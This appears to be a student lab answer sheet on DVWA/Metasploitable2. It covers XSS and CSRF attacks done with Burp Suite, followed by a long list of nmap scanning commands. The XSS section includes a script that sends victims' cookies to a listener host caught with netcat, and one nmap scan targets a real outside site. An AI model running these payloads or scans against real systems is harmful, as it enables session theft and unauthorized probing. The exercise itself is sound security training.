9.	A	Imagine you're a cybersecurity analyst responsible for evaluating the security of a newly launched online education platform. You need to use Burp Suite to find and address any security issues within the application. Explain how you would set up Burp Suite, including configuring the proxy settings and running automated scans to uncover common vulnerabilities. a) XSS (Cross Site Scripting) b) CSRF (Cross Site Request Forgery) i) **XSS (Cross Site Scripting)** Cross-Site Scripting attacks are a type of injection in which malicious scripts are injected into web sites and execute on client side. Ensure Kali Linux and metaspolitable 2 vm are up and running. Open 192.168.111.129 metaspoiltable2 web application in kali linux browser. Click on DVWA and login by providing username and password. (admin/password) XSS Stored: Whatever the scripts injected will be stored permanently, any time visitor comes up, scripts would be executed. Navigate to XSS (stored), try following things. • **Name: Test** **Message: <b>Hello Everyone </b>** **Click on Sign Guestbook** **• Name: Hi Message: <script>alert(“Hello This is XSS”)</script>** **Click on Sign Guestbook** Now go to any other page.. comeback to xss stored page, then user can see the pop up message To fetch the cookies <script>alert(document.cookie)</script> Navigate to xss(reflected) and paste the above script, then, it will display PHPSSESSID(Cookie Value) XSS reflected: Type <script>alert(“hello”)</script> and submit Alert window is displayed. **Now go to any other page.. comeback to xss reflected page, then user cannot see the pop up message or alert window.** **To steal other user cookies:** Navigate to XSS stored and type below script in message. Before that increase the size of message textbox. <script>new Image().src=”http://192.168.62.128/abc.php?output=”+document.cookie;</script> And press Sign Guestbook. Keep the listener ready in terminal by using below command nc -lvp 80 and go to other tabs in DVWA page and come back to XSS stored.. then it will steal the cookie of the user and send it to kali linux VM. **ii)CSRF** Ensure kali Linux and metaspoiltable 2 is up and running. CSRF(Cross Site request Forgery) • Log in to DVWA as admin using the credentials admin/password. • Set DVWA security to low and submit the settings. • Launch Burp Suite application and ensure proxy settings are configured, including the imported proxy certificate. • Navigate to the CSRF page and input a new password along with confirmation. • Activate intercept mode in Burp Suite before submitting the form. • Submit the form(Click on Change) and capture the recent traffic. • Send the intercepted traffic to repeater within Burp Suite.

		• Forward the intercepted traffic. • Return to the DVWA page and observe the password changed message. • Modify the password in the repeater to something else and send the repeater traffic. • Check the response side of the page in the render tab of Burp Suite to verify the password changed message. • Disable the proxy intercept and proxy settings. • Logout from DVWA. • Upon attempting to login again, the user enters the new password, unaware of the recent change, resulting in login failure.
	B	As a member of Blue team experts in Monitoring and Technical Support of a medium sized company, you have been asked to assess the security posture of the internal network. Use Nmap for network discovery, Port scanning, Service version detection and vulnerability detection. Then Document your findings, including the identified vulnerabilities, their severity levels. Nmap Scanning: • Open Kali Linux and the Metasploitable2 virtual machine. • Obtain the IP address of the target machine (Metasploitable2 VM). • Open the terminal in Kali Linux. • Perform scanning using the following commands with nmap: 1. nmap 192.168.62.129 2. sudo nmap -v 192.168.62.129—(v-verbose-detailed output) 3. man nmap 4. nmap -V 192.168.62.129—(V-version) 5. nmap 192.168.62.129 192.168.62.130 6. nmap 192.168.62.0/24 --exclude 192.168.62.130 7. nmap --open 192.168.62.129(showing only the open ports) 8. nmap -A 192.168.62.129(Aggressive scan) 9. nmap -sA 192.168.62.129(The packets sent to target machine are getting filtered or not) 10.nmap -p 80 192.168.62.129(Port 80) 11.nmap --packet-trace 192.168.62.129 ((Complete tracing of packets) 12.nmap --top-ports 10 192.168.62.129 **OS Detection:-** • nmap -O 192.168.62.129 • nmap -v -O 192.168.62.129—revealing additional info.. • nmap -O --osscan-guess 192.168.62.129(proposed option) **Service Detection:-** • nmap -sV -O 192.168.62.129 • Nmap -sV --version-trace 192.168.62.129 Advanced Scan:- • nmap -sS 192.168.62.130 (TCP Syn Scanning) • nmap -sT 192.168.62.129 (TCP Connect scan) • nmap -sU 192.168.62.129(UDP scans..) • sudo nmap -sN 192.168.62.129(TCP null Sync scan) • sudo nmap -sF 192.168.62.129(TCP FIN scan—Setting the FIN bit) **Custom scan:-** nmap -sS --scanflags SYNFIN -T4 www.google.com nmap -sO 192.168.62.129(IP protocol scan) Send Ethernet packets: nmap --send-eth 192.168.62.129 Send IP packets nmap --send-ip 192.168.62.129